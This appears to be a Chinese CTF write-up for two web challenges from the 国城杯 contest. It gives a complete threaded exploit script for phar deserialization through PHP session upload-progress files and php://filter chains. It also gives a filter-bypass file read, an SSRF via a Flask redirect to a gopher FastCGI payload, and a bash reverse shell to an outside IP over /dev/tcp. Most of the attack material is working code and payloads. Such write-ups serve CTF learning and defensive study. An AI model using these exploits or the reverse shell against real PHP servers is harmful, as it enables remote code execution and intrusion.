国城杯web题解

n0ob_un4er

打开题目即可得到源码

 <?php
$SECRET  = `/readsecret`;
include "waf.php";
class User {
    public $role;
    function __construct($role) {
        $this->role = $role;
    }
}
class Admin{
    public $code;
    function __construct($code) {
        $this->code = $code;
    }
    function __destruct() {
        echo "Admin can play everything!";
        eval($this->code);
    }
}
function game($filename) {
    if (!empty($filename)) {
        if (waf($filename) && @copy($filename , "/tmp/tmp.tmp")) {
            echo "Well done!";
        } else {
            echo "Copy failed.";
        }
    } else {
        echo "User can play copy game.";
    }
}
function set_session(){
    global $SECRET;
    $data = serialize(new User("user"));
    $hmac = hash_hmac("sha256", $data, $SECRET);
    setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}
function check_session() {
    global $SECRET;
    $data = $_COOKIE["session-data"];
    list($data, $hmac) = explode("-----", $data, 2);
    if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac) || !hash_equals(hash_hmac("sha256", $data, $SECRET), $hmac)) {
        die("hacker!");
    }
    $data = unserialize($data);
    if ( $data->role === "user" ){
        game($_GET["filename"]);
    }else if($data->role === "admin"){
        return new Admin($_GET['code']);
    }
    return 0;
}
if (!isset($_COOKIE["session-data"])) {
    set_session();
    highlight_file(__FILE__);
}else{
    highlight_file(__FILE__);
    check_session();
}

很明显我们没法直接通过session-data伪造admin身份进而进行命令执行(因为它使用了hmac-sha256签名算法，我们又无法读取到$SECRET)
但是我们知道很多文件操作函数都能可以使用phar伪协议
如下
image
来源

但是我们没有文件上传的点,我们只有找到一个可控文件然后将我们的phar文件编码为字符串后写入
可控的文件有临时文件,session文件,日志文件
设置了open_basedir，日志文件无法copy，所以只有session文件了，而且php版本为7.2,这个版本就算不开启session，只要上传了文件，并且在cookie传入了PHPSESSID，也会生成临时的session文件。

所以思路就是生成一个session文件里面写入我们的phar字符串
然后就是利用协议编码将session里面的垃圾数据给去掉只留下我们的phar字符串copy到我们的/tmp/tmp.tmp目录下
然后读文件触发phar反序列化即可

生成phar文件

<?php
highlight_file(__FILE__);
class Admin{
    public $code;
}
@unlink('test.phar');
$phar=new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$o=new Admin();
$o ->code="system('/readflag');";
$phar->setMetadata($o);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>

至于用来去除垃圾数据的编码为

cat test.phar | base64 -w0 | python3 -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
其实就是协议:
php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../runtime/log/202105/30.log
效果是一样的
编码结果
=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=70=00=74=00=41=00=41=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=33=00=41=00=41=00=41=00=41=00=54=00=7A=00=6F=00=31=00=4F=00=69=00=4A=00=42=00=5A=00=47=00=31=00=70=00=62=00=69=00=49=00=36=00=4D=00=54=00=70=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=52=00=6C=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=49=00=77=00=4F=00=69=00=4A=00=7A=00=65=00=58=00=4E=00=30=00=5A=00=57=00=30=00=6F=00=4A=00=79=00=39=00=79=00=5A=00=57=00=46=00=6B=00=5A=00=6D=00=78=00=68=00=5A=00=79=00=63=00=70=00=4F=00=79=00=49=00=37=00=66=00=51=00=67=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=4C=00=6E=00=52=00=34=00=64=00=41=00=51=00=41=00=41=00=41=00=44=00=64=00=58=00=42=00=74=00=6E=00=42=00=41=00=41=00=41=00=41=00=41=00=78=00=2B=00=66=00=39=00=69=00=32=00=41=00=51=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=52=00=4A=00=52=00=4F=00=30=00=76=00=59=00=75=00=4B=00=35=00=35=00=4A=00=33=00=5A=00=72=00=2B=00=48=00=70=00=34=00=37=00=46=00=4B=00=68=00=6F=00=54=00=66=00=47=00=77=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00

参考
payload是1392位，需要填充12位再进行连续3次base64编码(因为base64编码为3个一组也就是把三个编码为四个)
填充完后为:

=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=70=00=74=00=41=00=41=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=33=00=41=00=41=00=41=00=41=00=54=00=7A=00=6F=00=31=00=4F=00=69=00=4A=00=42=00=5A=00=47=00=31=00=70=00=62=00=69=00=49=00=36=00=4D=00=54=00=70=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=52=00=6C=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=49=00=77=00=4F=00=69=00=4A=00=7A=00=65=00=58=00=4E=00=30=00=5A=00=57=00=30=00=6F=00=4A=00=79=00=39=00=79=00=5A=00=57=00=46=00=6B=00=5A=00=6D=00=78=00=68=00=5A=00=79=00=63=00=70=00=4F=00=79=00=49=00=37=00=66=00=51=00=67=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=4C=00=6E=00=52=00=34=00=64=00=41=00=51=00=41=00=41=00=41=00=44=00=64=00=58=00=42=00=74=00=6E=00=42=00=41=00=41=00=41=00=41=00=41=00=78=00=2B=00=66=00=39=00=69=00=32=00=41=00=51=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=52=00=4A=00=52=00=4F=00=30=00=76=00=59=00=75=00=4B=00=35=00=35=00=4A=00=33=00=5A=00=72=00=2B=00=48=00=70=00=34=00=37=00=46=00=4B=00=68=00=6F=00=54=00=66=00=47=00=77=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00AAAAAAAAAAAA

由于session文件生成的规则，我们写入的数据前后都是会有系统写入的垃圾数据的
我们可以使用base64解码的特性来消除前后的字符串

前面的"upload_progress_"一共有14位,经过fuzz我们只要在后面添加两个字符"ZZ"，进行3次base64解码就能被刚好消掉。
对于后面的垃圾数据已经在上面的的编码中自行消掉了
最终payload

ZZVUZSVmQxQlVRWGRRVkZFd1VGUkJkMUJVVFRWUVZFRjNVRlJqTTFCVVFYZFFWRmw0VUZSQmQxQlVVVFJRVkVGM1VGUlJlRkJVUVhkUVZGa3pVRlJCZDFCVVZUUlFWRUYzVUZSTmVGQlVRWGRRVkUwMVVGUkJkMUJVVVRWUVZFRjNVRlJWZUZCVVFYZFFWRlV4VUZSQmQxQlVZelJRVkVGM1VGUlZNVkJVUVhkUVZGVTBVRlJCZDFCVVRYZFFWRUYzVUZSU1JsQlVRWGRRVkZWM1VGUkJkMUJVVlRCUVZFRjNVRlJWTWxCVVFYZFFWRkY1VUZSQmQxQlVVa0pRVkVGM1VGUlZNRkJVUVhkUVZGRXhVRlJCZDFCVVZUSlFWRUYzVUZSVmVsQlVRWGRRVkZKRFVGUkJkMUJVVVhwUVZFRjNVRlJhUTFCVVFYZFFWRTB6VUZSQmQxQlVVVFZRVkVGM1VGUlJNRkJVUVhkUVZFMDBVRlJCZDFCVVNrTlFWRUYzVUZSUk1GQlVRWGRRVkZWNFVGUkJkMUJVWTNkUVZFRjNVRlJqTUZCVVFYZFFWRkY0VUZSQmQxQlVVWGhRVkVGM1VGUlJlRkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSVmVGQlVRWGRRVkZGNFVGUkJkMUJVVVhoUVZFRjNVRlJSZUZCVVFYZFFWRkY1VUZSQmQxQlVVVEZRVkVGM1VGUlJlRkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSUmVGQlVRWGRRVkZGNVVGUkJkMUJVVVhoUVZFRjNVRlJSZUZCVVFYZFFWRkY0VUZSQmQxQlVVWGhRVkVGM1VGUlJlRkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSTmVsQlVRWGRRVkZGNFVGUkJkMUJVVVhoUVZFRjNVRlJSZUZCVVFYZFFWRkY0VUZSQmQxQlVWVEJRVkVGM1VGUmtRbEJVUVhkUVZGcEhVRlJCZDFCVVRYaFFWRUYzVUZSU1IxQlVRWGRRVkZrMVVGUkJkMUJVVWtKUVZFRjNVRlJSZVZCVVFYZFFWRlpDVUZSQmQxQlVVVE5RVkVGM1VGUk5lRkJVUVhkUVZHTjNVRlJCZDFCVVdYbFFWRUYzVUZSWk5WQlVRWGRRVkZFMVVGUkJkMUJVVFRKUVZFRjNVRlJTUlZCVVFYZFFWRlV3VUZSQmQxQlVZM2RRVkVGM1VGUk5NMUJVUVhkUVZGbDZVRlJCZDFCVVpFSlFWRUYzVUZSYVIxQlVRWGRRVkUxM1VGUkJkMUJVVWtkUVZFRjNVRlJaTlZCVVFYZFFWRkpDVUZSQmQxQlVXa0pRVkVGM1VGUlplVkJVUVhkUVZFMTVVRlJCZDFCVVZYbFFWRUYzVUZSYVJGQlVRWGRRVkZFMVVGUkJkMUJVV2tKUVZFRjNVRlJqTUZCVVFYZFFWR1JDVUZSQmQxQlVVa2RRVkVGM1VGUmFRbEJVUVhkUVZGRTFVRlJCZDFCVVl6TlFWRUYzVUZSU1IxQlVRWGRRVkZrMVVGUkJkMUJVVWtKUVZFRjNVRlJrUWxCVVFYZFFWRmt4VUZSQmQxQlVWVFJRVkVGM1VGUlNSbEJVUVhkUVZFMTNVRlJCZDFCVVZrSlFWRUYzVUZSVk0xQlVRWGRRVkUxM1VGUkJkMUJVV2tkUVZFRjNVRlJTUWxCVVFYZFFWR00xVUZSQmQxQlVUVFZRVkVGM1VGUmpOVkJVUVhkUVZGWkNVRlJCZDFCVVZUTlFWRUYzVUZSUk1sQlVRWGRRVkZwRFVGUkJkMUJVVmtKUVZFRjNVRlJhUlZCVVFYZFFWR00wVUZSQmQxQlVXVFJRVkVGM1VGUldRbEJVUVhkUVZHTTFVRlJCZDFCVVdYcFFWRUYzVUZSamQxQlVRWGRRVkZKSFVGUkJkMUJVWXpWUVZFRjNVRlJSTlZCVVFYZFFWRTB6VUZSQmQxQlVXVEpRVkVGM1VGUlZlRkJVUVhkUVZGa3pVRlJCZDFCVVVYaFFWRUYzVUZSUmVGQlVRWGRRVkZGNFVGUkJkMUJVVVhsUVZFRjNVRlJOZDFCVVFYZFFWRlpDVUZSQmQxQlVWVFJRVkVGM1VGUlNSbEJVUVhkUVZFMTNVRlJCZDFCVVVrUlFWRUYzVUZSYVJsQlVRWGRRVkZWNVVGUkJkMUJVVFRCUVZFRjNVRlJaTUZCVVFYZFFWRkY0VUZSQmQxQlVWWGhRVkVGM1VGUlJlRkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSUk1GQlVRWGRRVkZrd1VGUkJkMUJVVlRSUVZFRjNVRlJSZVZCVVFYZFFWR013VUZSQmQxQlVXa1pRVkVGM1VGUlJlVkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSUmVGQlVRWGRRVkZGNFVGUkJkMUJVVVhoUVZFRjNVRlJqTkZCVVFYZFFWRXBEVUZSQmQxQlVXVEpRVkVGM1VGUk5OVkJVUVhkUVZGazFVRlJCZDFCVVRYbFFWRUYzVUZSUmVGQlVRWGRRVkZWNFVGUkJkMUJVVVhoUVZFRjNVRlJSZUZCVVFYZFFWRkY0VUZSQmQxQlVVWGhRVkVGM1VGUlJlRkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSUk5GQlVRWGRRVkZWNVVGUkJkMUJVV2tSUVZFRjNVRlJaZWxCVVFYZFFWRTE2VUZSQmQxQlVWWGxRVkVGM1VGUlNRbEJVUVhkUVZGVjVVRlJCZDFCVVVrZFFWRUYzVUZSTmQxQlVRWGRRVkdNeVVGUkJkMUJVVlRWUVZFRjNVRlJqTVZCVVFYZFFWRkpEVUZSQmQxQlVUVEZRVkVGM1VGUk5NVkJVUVhkUVZGSkNVRlJCZDFCVVRYcFFWRUYzVUZSV1FsQlVRWGRRVkdONVVGUkJkMUJVU2tOUVZFRjNVRlJSTkZCVVFYZFFWR04zVUZSQmQxQlVUVEJRVkVGM1VGUk5NMUJVUVhkUVZGRXlVRlJCZDFCVVVrTlFWRUYzVUZSWk5GQlVRWGRRVkZwSFVGUkJkMUJVVlRCUVZFRjNVRlJaTWxCVVFYZFFWRkV6VUZSQmQxQlVZek5RVkVGM1VGUlJOVkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSUmVGQlVRWGRRVkZGNVVGUkJkMUJVVVRSUVZFRjNVRlJWZUZCVVFYZFFWRnBEVUZSQmQxQlVUWGhRVkVGM1VGUlJlbEJVUVhkUlZVWkNVVlZHUWxGVlJrSlJWVVpD

填充完后进行三次base64编码然后构造post包来生成session文件
image
123那里改为payload
image

然后就是直接去
image

读文件触发phar反序列化

?filename=phar:///tmp/tmp.tmp/test.txt

image

一把梭脚本

import sys
from threading import Thread, Event
import requests

HOST = 'http://125.70.243.22:31303/'
sess_name = 'litsasuk'

headers = {
    'Connection': 'close',
    'Cookie': 'PHPSESSID=' + sess_name
}
stop_event = Event()
payload = 'VUZSVmQxQlVRWGRRVkZFd1VGUkJkMUJVVFRWUVZFRjNVRlJqTTFCVVFYZFFWRmw0VUZSQmQxQlVVVFJRVkVGM1VGUlJlRkJVUVhkUVZGa3pVRlJCZDFCVVZUUlFWRUYzVUZSTmVGQlVRWGRRVkUwMVVGUkJkMUJVVVRWUVZFRjNVRlJWZUZCVVFYZFFWRlV4VUZSQmQxQlVZelJRVkVGM1VGUlZNVkJVUVhkUVZGVTBVRlJCZDFCVVRYZFFWRUYzVUZSU1JsQlVRWGRRVkZWM1VGUkJkMUJVVlRCUVZFRjNVRlJWTWxCVVFYZFFWRkY1VUZSQmQxQlVVa0pRVkVGM1VGUlZNRkJVUVhkUVZGRXhVRlJCZDFCVVZUSlFWRUYzVUZSVmVsQlVRWGRRVkZKRFVGUkJkMUJVVVhwUVZFRjNVRlJhUTFCVVFYZFFWRTB6VUZSQmQxQlVVVFZRVkVGM1VGUlJNRkJVUVhkUVZFMDBVRlJCZDFCVVNrTlFWRUYzVUZSUk1GQlVRWGRRVkZWNFVGUkJkMUJVWTNkUVZFRjNVRlJqTUZCVVFYZFFWRkY0VUZSQmQxQlVVWGhRVkVGM1VGUlJlRkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSVmVGQlVRWGRRVkZGNFVGUkJkMUJVVVhoUVZFRjNVRlJSZUZCVVFYZFFWRkY1VUZSQmQxQlVVVEZRVkVGM1VGUlJlRkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSUmVGQlVRWGRRVkZGNVVGUkJkMUJVVVhoUVZFRjNVRlJSZUZCVVFYZFFWRkY0VUZSQmQxQlVVWGhRVkVGM1VGUlJlRkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSTmVsQlVRWGRRVkZGNFVGUkJkMUJVVVhoUVZFRjNVRlJSZUZCVVFYZFFWRkY0VUZSQmQxQlVWVEJRVkVGM1VGUmtRbEJVUVhkUVZGcEhVRlJCZDFCVVRYaFFWRUYzVUZSU1IxQlVRWGRRVkZrMVVGUkJkMUJVVWtKUVZFRjNVRlJSZVZCVVFYZFFWRlpDVUZSQmQxQlVVVE5RVkVGM1VGUk5lRkJVUVhkUVZHTjNVRlJCZDFCVVdYbFFWRUYzVUZSWk5WQlVRWGRRVkZFMVVGUkJkMUJVVFRKUVZFRjNVRlJTUlZCVVFYZFFWRlV3VUZSQmQxQlVZM2RRVkVGM1VGUk5NMUJVUVhkUVZGbDZVRlJCZDFCVVpFSlFWRUYzVUZSYVIxQlVRWGRRVkUxM1VGUkJkMUJVVWtkUVZFRjNVRlJaTlZCVVFYZFFWRkpDVUZSQmQxQlVXa0pRVkVGM1VGUlplVkJVUVhkUVZFMTVVRlJCZDFCVVZYbFFWRUYzVUZSYVJGQlVRWGRRVkZFMVVGUkJkMUJVV2tKUVZFRjNVRlJqTUZCVVFYZFFWR1JDVUZSQmQxQlVVa2RRVkVGM1VGUmFRbEJVUVhkUVZGRTFVRlJCZDFCVVl6TlFWRUYzVUZSU1IxQlVRWGRRVkZrMVVGUkJkMUJVVWtKUVZFRjNVRlJrUWxCVVFYZFFWRmt4VUZSQmQxQlVWVFJRVkVGM1VGUlNSbEJVUVhkUVZFMTNVRlJCZDFCVVZrSlFWRUYzVUZSVk0xQlVRWGRRVkUxM1VGUkJkMUJVV2tkUVZFRjNVRlJTUWxCVVFYZFFWR00xVUZSQmQxQlVUVFZRVkVGM1VGUmpOVkJVUVhkUVZGWkNVRlJCZDFCVVZUTlFWRUYzVUZSUk1sQlVRWGRRVkZwRFVGUkJkMUJVVmtKUVZFRjNVRlJhUlZCVVFYZFFWR00wVUZSQmQxQlVXVFJRVkVGM1VGUldRbEJVUVhkUVZHTTFVRlJCZDFCVVdYcFFWRUYzVUZSamQxQlVRWGRRVkZKSFVGUkJkMUJVWXpWUVZFRjNVRlJSTlZCVVFYZFFWRTB6VUZSQmQxQlVXVEpRVkVGM1VGUlZlRkJVUVhkUVZGa3pVRlJCZDFCVVVYaFFWRUYzVUZSUmVGQlVRWGRRVkZGNFVGUkJkMUJVVVhsUVZFRjNVRlJOZDFCVVFYZFFWRlpDVUZSQmQxQlVWVFJRVkVGM1VGUlNSbEJVUVhkUVZFMTNVRlJCZDFCVVVrUlFWRUYzVUZSYVJsQlVRWGRRVkZWNVVGUkJkMUJVVFRCUVZFRjNVRlJaTUZCVVFYZFFWRkY0VUZSQmQxQlVWWGhRVkVGM1VGUlJlRkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSUk1GQlVRWGRRVkZrd1VGUkJkMUJVVlRSUVZFRjNVRlJSZVZCVVFYZFFWR013VUZSQmQxQlVXa1pRVkVGM1VGUlJlVkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSUmVGQlVRWGRRVkZGNFVGUkJkMUJVVVhoUVZFRjNVRlJqTkZCVVFYZFFWRXBEVUZSQmQxQlVXVEpRVkVGM1VGUk5OVkJVUVhkUVZGazFVRlJCZDFCVVRYbFFWRUYzVUZSUmVGQlVRWGRRVkZWNFVGUkJkMUJVVVhoUVZFRjNVRlJSZUZCVVFYZFFWRkY0VUZSQmQxQlVVWGhRVkVGM1VGUlJlRkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSUk5GQlVRWGRRVkZWNVVGUkJkMUJVV2tSUVZFRjNVRlJaZWxCVVFYZFFWRTE2VUZSQmQxQlVWWGxRVkVGM1VGUlNRbEJVUVhkUVZGVjVVRlJCZDFCVVVrZFFWRUYzVUZSTmQxQlVRWGRRVkdNeVVGUkJkMUJVVlRWUVZFRjNVRlJqTVZCVVFYZFFWRkpEVUZSQmQxQlVUVEZRVkVGM1VGUk5NVkJVUVhkUVZGSkNVRlJCZDFCVVRYcFFWRUYzVUZSV1FsQlVRWGRRVkdONVVGUkJkMUJVU2tOUVZFRjNVRlJSTkZCVVFYZFFWR04zVUZSQmQxQlVUVEJRVkVGM1VGUk5NMUJVUVhkUVZGRXlVRlJCZDFCVVVrTlFWRUYzVUZSWk5GQlVRWGRRVkZwSFVGUkJkMUJVVlRCUVZFRjNVRlJaTWxCVVFYZFFWRkV6VUZSQmQxQlVZek5RVkVGM1VGUlJOVkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSUmVGQlVRWGRRVkZGNVVGUkJkMUJVVVRSUVZFRjNVRlJWZUZCVVFYZFFWRnBEVUZSQmQxQlVUWGhRVkVGM1VGUlJlbEJVUVhkUlZVWkNVVlZHUWxGVlJrSlJWVVpD'
response = requests.get(HOST, headers=headers)
cookies = response.cookies

def runner1():
    data = {
        'PHP_SESSION_UPLOAD_PROGRESS': 'ZZ' + payload
    }
    print("Exploding...")
    while 1:
        fp = open('/etc/passwd', 'rb')
        r = requests.post(HOST, files={'f': fp}, data=data, headers=headers)
        fp.close()


def runner2():
    file = '/tmp/sess_' + sess_name
    filename = 'php://filter/read=convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=%s' % file
    # print filename
    while 1:
        url = '%s?filename=%s' % (HOST, filename)
        r = requests.get(url, cookies=cookies)
        c = r.content


def runner3():
    filename = 'phar:///tmp/tmp.tmp/test.txt'
    while True:
        url = f'{HOST}?filename={filename}'
        r = requests.get(url, cookies=cookies)
        content = r.text

        if "D0g3" in content:
            start_index = content.index("D0g3")
            output = content[start_index:]
            print(output)
            sys.exit(0)

threads = []
t1 = Thread(target=runner1)
t2 = Thread(target=runner2)
t3 = Thread(target=runner3)

threads.append(t1)
threads.append(t2)
threads.append(t3)

t1.start()
t2.start()
t3.start()

for t in threads:
    t.join()

image

参考出题人博客
https://www.cnblogs.com/Litsasuk/articles/18593334#出题参考文章

signal

方法一(预期解):
扫出文件
.index.php.swp
image

给了一个账号和密码
image
登陆后有任意文件读取但是有一部分协议的过滤器被过滤我们简单的编码绕过即可

import re
final_payload = "php://filter/convert.base64-encode/resource=/etc/passwd"
not_allow = "string|iconv|base|rot|IS|data|text|plain|decode|SHIFT|BIT|CP|PS|TF|NA|SE|SF|MS|UCS|CS|UTF|quoted|log|sess|zlib|bzip2|convert|JP|VE|KR|BM|ISO|proc|_|ve|se"
not_allow = not_allow.split('|')
for i in not_allow:
        final_payload = final_payload.replace(i, ('%25'+(hex(ord(i[0]))[2:])+i[1:]))
print(final_payload)

读admin.php

image

admin.php
<?php
session_start();
error_reporting(0);

if ($_SESSION['logged_in'] !== true || $_SESSION['username'] !== 'admin') {
    $_SESSION['error'] = 'Please fill in the username and password';
    header("Location: index.php");
    exit();
}

$url = $_POST['url'];
$error_message = '';
$page_content = '';

if (isset($url)) {
    if (!preg_match('/^https:\/\//', $url)) {
        $error_message = 'Invalid URL, only https allowed';
    } else {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
        $page_content = curl_exec($ch);
        if ($page_content === false) {
            $error_message = 'Failed to fetch the URL content';
        }
        curl_close($ch);
    }
}
?>
<!DOCTYPE html>
<html lang='en'>
<head>
    <meta charset='UTF-8'>
    <meta name='viewport' content='width=device-width, initial-scale=1.0'>
    <title>Welcome</title>
    <style>
        body {
            margin: 0;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            background: linear-gradient(135deg, #6dd5ed, #2193b0);
            font-family: Arial, sans-serif;
            overflow: hidden;
            position: relative;
        }

        body::before, body::after {
            content: '';
            position: absolute;
            width: 400px;
            height: 400px;
            border-radius: 50%;
            background: rgba(255, 255, 255, 0.1);
            animation: float 6s ease-in-out infinite;
            z-index: 0;
        }

        body::before {
            top: -100px;
            right: -150px;
        }

        body::after {
            bottom: -150px;
            left: -100px;
        }

        @keyframes float {
            0%, 100% { transform: translateY(0); }
            50% { transform: translateY(20px); }
        }

        .login-container {
            position: relative;
            z-index: 1;
            width: 350px;
            padding: 2rem;
            background-color: #ffffff;
            border-radius: 12px;
            text-align: center;
            box-shadow: 0px 4px 20px rgba(0, 0, 0, 0.2);
            backdrop-filter: blur(10px);
            transition: transform 0.3s ease;
        }

        .login-container:hover {
            transform: translateY(-5px);
        }

        .login-container h2 {
            margin-bottom: 1.5rem;
            color: #333;
            font-weight: bold;
        }

        .login-container input[type='text'] {
            width: 100%;
            padding: 0.75rem;
            margin: 0.5rem 0;
            border: 1px solid #ddd;
            border-radius: 5px;
            box-sizing: border-box;
            font-size: 1rem;
            outline: none;
            transition: border-color 0.3s ease;
        }

        .login-container input[type='text']:focus {
            border-color: #4CAF50;
            box-shadow: 0px 0px 5px rgba(76, 175, 80, 0.5);
        }

        .login-container button {
            width: 100%;
            padding: 0.75rem;
            margin-top: 1rem;
            background-color: #4CAF50;
            color: white;
            border: none;
            border-radius: 5px;
            font-size: 1rem;
            cursor: pointer;
            transition: background-color 0.3s, transform 0.3s;
            position: relative;
            overflow: hidden;
        }

        .login-container button:hover {
            background-color: #45a049;
            transform: translateY(-3px);
        }

        .login-container button:active {
            transform: translateY(1px);
        }

        .login-container p {
            margin-top: 1rem;
            color: #666;
            font-size: 0.9rem;
        }

        .error {
            color: red;
            margin-top: 0.5rem;
            text-align: center;
            font-size: 0.9rem;
        }

        .content {
            margin-top: 1rem;
            padding: 1rem;
            background-color: #f9f9f9;
            border: 1px solid #ddd;
            border-radius: 5px;
            word-wrap: break-word;
            max-height: 200px;
            overflow-y: auto;
        }
    </style>
</head>
<body>

<div class='login-container'>
    <h2>Welcome</h2>
    <p>网页查看，just do it😎</p>
    <form method='post' action=''>
        <input type='text' name='url' placeholder='Enter URL' required>
        <button type='submit'>Submit</button>
        <?php if (!empty($error_message)) : ?>
            <div class='error'><?= htmlspecialchars($error_message) ?></div>
        <?php endif; ?>
    </form>
    <?php if (!empty($page_content)) : ?>
        <div class='content'>
            <?= nl2br(htmlspecialchars($page_content)); ?>
        </div>
    <?php endif; ?>
</div>
</body>
</html>

没什么用
但是在登陆的最初页面有一个
image

<?php
session_start();

$users = [
    'admin' => 'FetxRuFebAdm4nHace',
    'guest' => 'MyF3iend'
];

if (isset($_POST['username']) && isset($_POST['password'])) {
    $username = $_POST['username'];
    $password = $_POST['password'];

    if (isset($users[$username]) && $users[$username] === $password) {
        $_SESSION['logged_in'] = true;
        $_SESSION['username'] = $username;

        if ($username === 'admin') {
            header('Location: admin.php');
        } else {
            header('Location: guest.php');
        }
        exit();
    } else {
        $_SESSION['error'] = 'Invalid username or password';
        header('Location: index.php');
        exit();
    }
} else {
    $_SESSION['error'] = 'Please fill in the username and password';
    header('Location: index.php');
    exit();
}

得到admin的密码去登陆
image
因为不能使用其他协议
这里很明显是让打302跳转(利用https去访问我们的服务器再在我们的服务器上设即攻击)
我们用ngrok起一个临时域名即可
ngrok的使用
也就是给虚拟机内网穿透并且附上一个域名我们在域名上起一个服务服务内容为:访问我之后自动跳转去---自己设定要干啥

设定脚本

from flask import Flask, redirect

app = Flask(__name__)

@app.route('/')
def indexRedirect():
    redirectUrl = (
        'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/admin.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27whoami%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00'
    )
    return redirect(redirectUrl)

if __name__ == '__main__':
    app.run('0.0.0.0', port=8000, debug=True)

中间的payload就是打fastcgi
用工具生成payload

image

这里不用再进行
两次url编码直接塞进去就行

image

image

image

成功
接下来我们直接弹shell就行
image

from flask import Flask, redirect

app = Flask(__name__)

@app.route('/')
def indexRedirect():
    redirectUrl = (
        'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/admin.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/156.238.233.53/9999%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00'
    )
    return redirect(redirectUrl)

if __name__ == '__main__':
    app.run('0.0.0.0', port=8000, debug=True)

image

find / -name fla*

image

找到疑似flag查看

image

提示我们提权flag在root下

image

找到cat的root可用局限性权限我们直接路径穿越即可

image
方法二(非预期解fileter chian):
直接在文件读取那个地方打就行
image
方法三:

posted @ 2024-12-11 23:50  DGhh  阅读(21)  评论(0)  编辑  收藏  举报